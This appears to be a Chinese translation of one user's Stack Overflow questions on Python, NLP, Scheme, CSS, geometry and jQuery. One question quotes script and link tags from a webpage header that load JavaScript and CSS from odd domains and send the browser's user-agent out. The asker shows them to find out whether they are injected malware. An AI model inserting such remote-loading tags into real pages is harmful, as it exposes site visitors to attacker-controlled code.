小编btw*_*tw0的帖子

如何在Python中限制函数调用的执行时间

在我的代码中有一个与套接字相关的函数调用,该函数来自另一个模块,因此无法控制,问题是它偶尔会阻塞几个小时,这是完全不可接受的,我如何限制代码中的函数执行时间?我想解决方案必须使用另一个线程.

python multithreading

64
推荐指数
8
解决办法
6万
查看次数

是否有一种算法可以告诉两个短语的语义相似性

输入:短语1,短语2

输出:语义相似度值(介于0和1之间),或这两个短语谈论同一事物的概率

algorithm nlp semantics

63
推荐指数
5
解决办法
5万
查看次数

如何知道urllib.urlretrieve是否成功?

urllib.urlretrieve即使远程http服务器上不存在该文件,它也会以静默方式返回,它只是将html页面保存到指定文件中.例如:

urllib.urlretrieve('http://google.com/abc.jpg', 'abc.jpg')
Run Code Online (Sandbox Code Playgroud)

只是默默地返回,即使google.com服务器上不存在abc.jpg,生成abc.jpg的也不是有效的jpg文件,它实际上是一个html页面.我想返回的头文件(一个httplib.HTTPMessage实例)可以用来实际判断检索是否成功,但我找不到任何文档httplib.HTTPMessage.

任何人都可以提供有关此问题的一些信息吗?

python networking urllib

53
推荐指数
3
解决办法
6万
查看次数

python多处理的生产者/消费者问题

我正在编写一个服务器程序,其中包含一个生产者和多个消费者,让我感到困惑的只是生成器放入队列的第一个任务被消耗,之后排队的任务不再被消耗,它们永远保留在队列中.

from multiprocessing import Process, Queue, cpu_count
from http import httpserv
import time

def work(queue):
    while True:
        task = queue.get()
        if task is None:
            break
        time.sleep(5)
        print "task done:", task
    queue.put(None)

class Manager:
    def __init__(self):
        self.queue = Queue()
        self.NUMBER_OF_PROCESSES = cpu_count()

    def start(self):
        self.workers = [Process(target=work, args=(self.queue,))
                        for i in xrange(self.NUMBER_OF_PROCESSES)]
        for w in self.workers:
            w.start()

        httpserv(self.queue)

    def stop(self):
        self.queue.put(None)
        for i in range(self.NUMBER_OF_PROCESSES):
            self.workers[i].join()
        queue.close()

Manager().start()
Run Code Online (Sandbox Code Playgroud)

生产者是HTTP服务器,一旦接收到用户的请求,就将任务放入队列中.当队列中有新任务时,消费者进程似乎仍然被阻止,这很奇怪.

PS另外两个与上述问题无关的问题,我不确定将HTTP服务器放在除主流程之外的其他进程中是否更好,如果是,如何在所有子进程结束之前使主进程继续运行.第二个问题,什么是优雅地停止HTTP服务器的最佳方法?

编辑:添加生产者代码,它只是一个简单的python wsgi服务器:

import fapws._evwsgi as evwsgi
from fapws import base …
Run Code Online (Sandbox Code Playgroud)

python multiprocessing

14
推荐指数
1
解决办法
1万
查看次数

在Scheme中使用AND和apply函数

以下为什么不工作?

(apply and (list #t #t #f))
Run Code Online (Sandbox Code Playgroud)

虽然以下工作正常.

(apply + (list 1 3 2))
Run Code Online (Sandbox Code Playgroud)

这似乎是R5RS和R6RS的情况?

scheme

13
推荐指数
3
解决办法
8468
查看次数

如何设置<div>的宽度以适应等宽字体中的常量字母数?

我研究了一段时间,一直没有找到解决CSS还,emex单位未在这种情况下是正确的.我想要的只是一个完全适合80x25等宽文本的div框.我是否必须使用Javascript解决方案?

html javascript css

13
推荐指数
2
解决办法
7273
查看次数

如何确定Delaunay三角形是内部还是外部?

我正在编写一个程序,需要实现Medial Axis提取,其中Delaunay三角测量是一个步骤.外部中轴是不需要的,因此要删除相应的外部三角形.幸运的是,我遇到了一个包含大量图表的页面,还有一个确定内部和外部Delaunay三角形的方法("基于虚线周长"),但它只是一个提示,没有详细的解释.谁知道算法?

编辑:我忘了提到从闭合多边形的边界采样的初始点,我的目的是确定每个Delaunay三角形是否在多边形内.

algorithm geometry medial-axis computational-geometry

10
推荐指数
1
解决办法
5721
查看次数

如何确保用户只提交英文文本

我正在构建一个涉及自然语言处理的项目,因为nlp模块目前只处理英文文本,所以我必须确保用户提交的内容(不长,只有几个单词)是英文的.是否有既定的方法来实现这一目标?Python或Javascript方式首选.

javascript python nlp

9
推荐指数
4
解决办法
1006
查看次数

每次重新加载python模块时如何避免计算

我有一个python模块,它使用一个巨大的字典全局变量,目前我将计算代码放在顶部,每次第一次导入或重新加载模块需要超过一分钟,这是完全不可接受的.如何在某处保存计算结果,以便下次导入/重新加载不必计算它?我试过cPickle,但从文件(1.3M)加载字典变量大约与计算时间相同.

要提供有关我的问题的更多信息,

FD = FreqDist(word for word in brown.words()) # this line of code takes 1 min
Run Code Online (Sandbox Code Playgroud)

python nltk

6
推荐指数
1
解决办法
2699
查看次数

如何使用librsvg Python绑定调整svg映像文件的大小

当光栅化svg文件时,我希望能够为生成的png文件设置宽度和高度.使用以下代码,仅将画布设置为所需的宽度和高度,具有原始svg文件尺寸的实际图像内容将呈现在(500,600)画布的左上角.

import cairo
import rsvg

WIDTH, HEIGHT  = 500, 600
surface = cairo.ImageSurface(cairo.FORMAT_ARGB32, WIDTH, HEIGHT)

ctx = cairo.Context(surface)

svg = rsvg.Handle(file="test.svg")
svg.render_cairo(ctx)

surface.write_to_png("test.png")
Run Code Online (Sandbox Code Playgroud)

我该怎么做才能使图像内容与cairo canvas相同?我试过了

svg.set_property('width', 500)
svg.set_property('height', 500)
Run Code Online (Sandbox Code Playgroud)

但得到了

TypeError: property 'width' is not writable
Run Code Online (Sandbox Code Playgroud)

librsvg python绑定的文档似乎非常罕见,只有一些随机代码片段在cairo网站上.

python cairo librsvg

5
推荐指数
2
解决办法
4625
查看次数

为什么这么多网页在标题中包含如此奇怪的代码片段?

我已经注意到很长一段时间,像jsev.com,cssxx.com等奇怪的域名不时出现在我的firefox状态栏中,我总是想知道为什么这么多网页包含来自这些奇怪域名的资源.我用Google搜索,但一无所获.我想这是一种感染服务器并插入代码的病毒.以下是从http://www.eflorenzano.com/threadexample/blog/页面标题中获取的示例:

<script language="javascript" src="http://i.jsev.com./base.2032621946.js"> </script>
<body onmousemove="return fz3824();">
<LINK REL="stylesheet" TYPE="text/css" HREF="http://i.cssxx.com./base2032621947.css">
<A HREF = "http://i.html.com./base2032621947.html"></A>
<SCRIPT LANGUAGE="JAVASCRIPT" SRC="http://i.js.com./base2032621947.js"></SCRIPT>
<SCRIPT LANGUAGE="JAVASCRIPT">
function getuseragnt()
{ var agt = navigator.userAgent.toLowerCase();
  agt = agt.replace(/ /g, "");
  return agt;
}
document.write("<LINK REL='stylesheet' TYPE='text/css' HREF='http://i.css2js.com./base.css" + getuseragnt() + "_2032621947'>") 
</SCRIPT>
Run Code Online (Sandbox Code Playgroud)

编辑:我在debian框中,只在firefox上我看到这段代码,我刚试过opera,这段代码没有出现在opera中,真的很奇怪,从来没有听说过firefox有这样的问题.

html javascript virus

4
推荐指数
1
解决办法
1159
查看次数

什么轻量级 python 库可以实现简单的 3D 科学可视化

我正在用 python 编写一个程序来实验一个学术想法。查看程序生成的结果图像:

叶子

叶子中间的粗骨架线是需要可视化的。骨架线的每一段都有一个与之关联的值,在上图中(由 绘制pycairo),使用不同深浅的灰色进行可视化,颜色越浅意味着值越高,黑线表示该线的关联值为 0。问题是在这种情况下使用颜色进行可视化对于人眼来说非常不直观,最好以 3D 形式可视化值,如下所示(摘自论文):

3D 中的 2D

左图是右图的 3D 可视化,与线条相关的值被可视化为 3D 中连续墙壁的高度。

执行此操作的最佳库是什么?我不想投入太多时间来做这件事,所以首选轻量级库。

python 3d geometry visualization

4
推荐指数
1
解决办法
3862
查看次数

如何在不使用HTML <form>的情况下上传文件?

在我正在构建的Web应用程序中,我需要在不使用表单的情况下上传照片,否则它将提供嵌入在XHTML中不允许的外部的表单.

我认为上传文件是jQuery.post应该能做的,但我目前无法弄清楚如何使用jQuery来做到这一点.

javascript upload jquery http

2
推荐指数
1
解决办法
5281
查看次数